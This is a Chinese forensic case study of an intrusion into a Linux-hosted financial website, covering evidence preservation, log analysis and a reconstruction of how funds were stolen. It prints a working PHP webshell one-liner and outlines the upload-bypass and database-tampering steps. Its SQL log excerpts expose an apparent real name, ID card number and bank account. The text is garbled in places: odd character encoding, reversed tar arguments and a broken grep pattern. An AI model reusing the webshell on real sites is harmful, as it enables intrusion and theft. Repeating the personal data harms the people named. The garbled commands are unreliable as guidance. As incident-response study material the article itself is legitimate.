◆錢志高
(上海弘連網(wǎng)絡(luò)科技有限公司 上海 201101)
某金融網(wǎng)站稱:其注冊會員的賬戶內(nèi)的財產(chǎn),在用戶不知情的情況下被提現(xiàn),但網(wǎng)站查證后發(fā)現(xiàn)并不是用戶自身所為。值得注意的是,提現(xiàn)過程中使用的銀行卡并非是用戶名下真實(shí)存在的銀行賬戶。根據(jù)現(xiàn)有信息推測,其計算機(jī)可能被非法入侵,網(wǎng)站數(shù)據(jù)被篡改,損失達(dá)上百萬。
數(shù)據(jù)固定是分析的前提,在固定過程中要兼顧數(shù)據(jù)原始性、完整性、可復(fù)現(xiàn),可控制的原則。以下對該Linux 服務(wù)器的固定過程進(jìn)行詳細(xì)描述。
網(wǎng)站部署在阿里云上,使用的是Linux 操作系統(tǒng),受害者提供了被入侵計算機(jī)的IP 和登錄憑據(jù),如圖1 所示:
圖1 被入侵計算機(jī)的IP 和登錄憑據(jù)
執(zhí)行“history > history.log”導(dǎo)出歷史命令;
執(zhí)行“l(fā)ast > last.log”導(dǎo)出登錄相關(guān)信息;
執(zhí)行“l(fā)astb > lastb.log”導(dǎo)出登錄失敗信息;
執(zhí)行“l(fā)astlog > lastlog.log”導(dǎo)出所有用戶的最后一次登錄信息;
執(zhí)行“tar czvf /var/log varlog.tar.gz”將/var/log 整個目錄打包;
執(zhí)行“ps -AUX > ps.log”導(dǎo)出進(jìn)程信息;
執(zhí)行“netstat -atunp > netstat.log”導(dǎo)出網(wǎng)絡(luò)連接信息;
(1)目錄固定
根據(jù)網(wǎng)站應(yīng)用配置文件可知,網(wǎng)站目錄為“/www/c****i”,執(zhí)行“tar czvf /www/c*****i www.c*****i.com.tar.gz”將網(wǎng)站目錄保存;
(2)訪問日志固定
根據(jù)網(wǎng)站應(yīng)用配置文件可知,訪問日志保存位置在:“/etc/httpd/logs”,執(zhí)行“tar czvf /etc/httpd/logs accesslog.tar.gz”將網(wǎng)站訪問日志保存。
為了確保日志的完整性,執(zhí)行此命令前應(yīng)該停止網(wǎng)站應(yīng)用進(jìn)程,否則日志文件會因網(wǎng)站應(yīng)用進(jìn)程鎖定日志而無法讀取。
(1)數(shù)據(jù)表固定
在網(wǎng)站目錄內(nèi)找到數(shù)據(jù)庫連接配置文件,將網(wǎng)站數(shù)據(jù)庫導(dǎo)出為“database.sql”。
(2)數(shù)據(jù)庫日志固定
根據(jù)Mysql 數(shù)據(jù)庫配置信息,將所有日志文件進(jìn)行提取固定。
固定工作完成后,首先對固定的基本信息進(jìn)行分析,未發(fā)現(xiàn)明顯異常,排除暴力破解系統(tǒng)用戶登錄的入侵方式。
(1)網(wǎng)站重構(gòu)
安裝Apache、PHP 和Mysql,將固定的數(shù)據(jù)導(dǎo)入,使用Web 瀏覽器訪問后,網(wǎng)站首頁成功展示。
(2)WebShell 掃描
使用WebShell 分析工具執(zhí)行掃描,在網(wǎng)站目錄下發(fā)現(xiàn)一個名為“upload****.php.bmp”的疑似網(wǎng)頁木馬的文件。
(3)WebShell 分析
使用編碼工具查看該文件后,發(fā)現(xiàn)存在以下代碼
“<?php @assert(base64_decode($_POST[h3len]))?>”
其含義是對post 提交的h3len 變量中的內(nèi)容執(zhí)行 base64 解碼。
根據(jù)文件修改時間查找近似的文件,定位到符合條件的php 代碼頁“adminer.php”,打開發(fā)現(xiàn)此頁面的功能為數(shù)據(jù)庫管理器,可以執(zhí)行數(shù)據(jù)庫管理動作,如圖2。
圖2 數(shù)據(jù)庫情況
通常情況下,網(wǎng)站管理員并沒有在Web 頁上修改數(shù)據(jù)庫的需求,結(jié)合文件創(chuàng)建時間分析,可以確定此頁面是入侵者為了遠(yuǎn)程操控數(shù)據(jù)庫而特意留下的接口。
接下來從網(wǎng)站的訪問日志入手,在日志中篩選出所有“adminer.php”頁面的訪問記錄,并統(tǒng)計所有“adminer.php”頁面訪問記錄中出現(xiàn)的“user_id”,得到4 個用戶的ID:
“$ grep -E -i -o "user_id%5d=[e-9]{1,8} "adminer.php. exclude.alibaba.log | sort | uniq
user_id%5D=1392
user_id%5D=1679
user_id%5D=2613
user_id%5D=6248”
根據(jù)網(wǎng)站訪問日志分析結(jié)果可知,來自不同IP 地址的訪問者,利用數(shù)據(jù)庫管理接口訪問過多個數(shù)據(jù)表內(nèi)容,但無法確認(rèn)是否執(zhí)行了修改動作。需要結(jié)合數(shù)據(jù)庫以及其日志來確認(rèn)入侵者具體進(jìn)行了哪些行為。
(1)篩選受影響用戶信息
首先使用SQL 語句查詢相關(guān)表,篩選受影響用戶信息然后篩選用戶提現(xiàn)記錄(圖3);
圖3 篩選用戶信息
(2)其次篩選4 個涉案user_id 操作日志,節(jié)選部分日志如下:
update `dw_user` set password='827ccb0eea8a706c4c34a16 891f84e7b',
paypassword='827ccb0eea8a706c4c34a16891f84e7b',realna me='康靜',sex='2',card_id='630104197409032543',
--更新用戶2613 信息(dw_user 表)
update `dw_account_cash` set bank=302,
account='6217000010048063385',branch='北京豐臺萬年花城支行' where user_id=2613 --更新用戶2613 銀行卡提現(xiàn)信息(dw_account_cash 表) delete from dw_account_log where user_id=2613 AND i d>81869
--刪除用戶2613 的歷史提現(xiàn)記錄(dw_account_log 表)
insert into `dw_account_log` set `addtime` = '142768068 0',`addip` = '101.81.103.24',`user_id` = '2613',`type` = 'recharg e_success',`money` = '101675.00',`total` = '0',`use_money` = '0.00',`no_use_money` = '0',`collection` = '0.00',`to_user` = '0',`re mark` = '提現(xiàn)成功'
--插入一條提現(xiàn)申請記錄 通過上述4 條操作記錄可以看出,嫌疑人通過修改數(shù)據(jù)庫中用戶信息、提款人銀行卡信息,再通過系統(tǒng)提現(xiàn)功能將錢轉(zhuǎn)入嫌疑人設(shè)定的銀行卡中。
至此,入侵后對數(shù)據(jù)庫執(zhí)行的操作已經(jīng)明確,嫌疑人相關(guān)信息和涉案銀行卡也已水落石出。
根據(jù)數(shù)據(jù)分析環(huán)節(jié)結(jié)果,接下來對整個入侵過程進(jìn)行還原。
入侵者首先利用網(wǎng)站的文件上傳漏洞,將含有惡意內(nèi)容的PHP 代碼頁,修改文件頭部,偽裝成BMP 圖片,成功繞過網(wǎng)站代碼檢測機(jī)制,并上傳至網(wǎng)站的目錄下;
在網(wǎng)站對應(yīng)目錄找到上傳成功的惡意代碼文件“uploaddyp2p.php.php”,可見上傳行為有效;
使用“chopper”工具連接此網(wǎng)站內(nèi)的惡意代碼頁,連接成功后使用集成的文件管理器成功打開網(wǎng)站所在計算機(jī)的根目錄,并獲得管理權(quán)限;
使用“chopper”工具集成的文件管理器,上傳數(shù)據(jù)庫管理器代碼頁“adminer.php”,讀取數(shù)據(jù)庫連接配置文件“/data/www/c*****i/dbconfig.php”,取得數(shù)據(jù)庫權(quán)限(圖4);
圖4 獲取數(shù)據(jù)庫權(quán)限
訪問“adminer.php”頁,篡改數(shù)據(jù)庫數(shù)據(jù),綁定銀行卡;
訪問提現(xiàn)頁,執(zhí)行提現(xiàn)操作,成功將用戶財產(chǎn)非法獲取。
本文通過數(shù)據(jù)固定、網(wǎng)站重構(gòu)、日志分析和入侵還原等取證方法,客觀地重現(xiàn)了一次Linux 計算機(jī)入侵事件。入侵者使用成熟的入侵手段,一步一步將對方計算機(jī)掌控,極大的危害了公共計算機(jī)的安全,使受害者蒙受了巨大的損失。
計算機(jī)安全防護(hù),尤其是公共計算機(jī)的安全防護(hù),向來都是一項(xiàng)復(fù)雜的工程,涉及技術(shù)、設(shè)備、管理和制度等多方面的因素,單一的防護(hù)技術(shù)都有其局限性。需要綜合各種計算機(jī)網(wǎng)絡(luò)信息系統(tǒng)安全技術(shù),將病毒防護(hù)技術(shù)、入侵檢測技術(shù)、安全掃描技術(shù),入侵預(yù)警技術(shù)等結(jié)合起來,才能形成一套完整的、協(xié)調(diào)一致的網(wǎng)絡(luò)安全防護(hù)體系。
在網(wǎng)絡(luò)安全防護(hù)中,最關(guān)鍵的因素是人。我們不能僅依靠殺毒軟件、防火墻、漏洞檢測等設(shè)備的防護(hù),安全保護(hù)的對象是計算機(jī),而安全保護(hù)的主體則是人,應(yīng)重視樹立人的計算機(jī)安全意識,提高網(wǎng)絡(luò)安全,降低事故發(fā)生,任重而道遠(yuǎn)。